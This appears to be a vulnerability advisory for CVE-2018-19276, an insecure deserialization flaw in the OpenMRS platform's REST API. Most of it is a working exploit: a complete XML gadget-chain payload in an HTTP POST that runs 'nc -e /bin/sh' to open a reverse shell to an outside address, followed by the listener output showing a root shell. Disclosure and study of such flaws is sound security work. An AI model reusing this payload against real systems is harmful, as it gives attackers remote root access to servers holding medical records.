InsecureObjectDeserialization on the OpenMRSPlatformVulnerabilityDetailsCVEID:CVE-2018-19276AccessVector:RemoteSecurityRisk:CriticalVulnerability:CWE-502CVSSBaseScore:10.0CVSS vector:CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:NJAVA8ENVIRONMENTBy injecting an XML payload in the following body request totheRESTAPI provided by the application, an attacker could execute arbitrary commands on the remote system. The request below could be used toexploit the vulnerability:POST/openmrs/ws/rest/v1/xxxxxx HTTP/1.1Host:HOSTContent-Type: text/xml
<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>/bin/sh</string><string>-c</string><string>nc -e /bin/sh 172.16.32.38000</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry>The payload above was generated withthe marshalsec tool and adapted touse multiple arguments because the original payload would not work well if the attacker need tosend several arguments toaLinux host..After the payload was sent, the handler successfully received a response:~ » nc -vlp 8000Ncat:Version7.60( https://nmap.org/ncat )Ncat:Generating a temporary 1024-bit RSAkey. Use--ssl-key and --ssl-cert touse a permanent one.
Ncat:SHA-1 fingerprint:5DE49A263868367D8104B043CE14BAD65CC9DE51Ncat:Listening on :::8000Ncat:Listening on 0.0.0.0:8000Ncat:Connection from 172.16.32.2.Ncat:Connection from 172.16.32.2:52434.
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/usr/local/tomcat
The response should contain an error message similar tothe one below:{"error":{"message":"[Could not read [classorg.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException:XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException:java.lang.String cannot be cast tojava.security.Provider$Service
…omitted for brevity…
The response above showed that the RESTWebServicesmodulewas unable toprocess the request properly. However, the payload was deserialized before it is caught by the exception handler, which allowed the team togain shell access.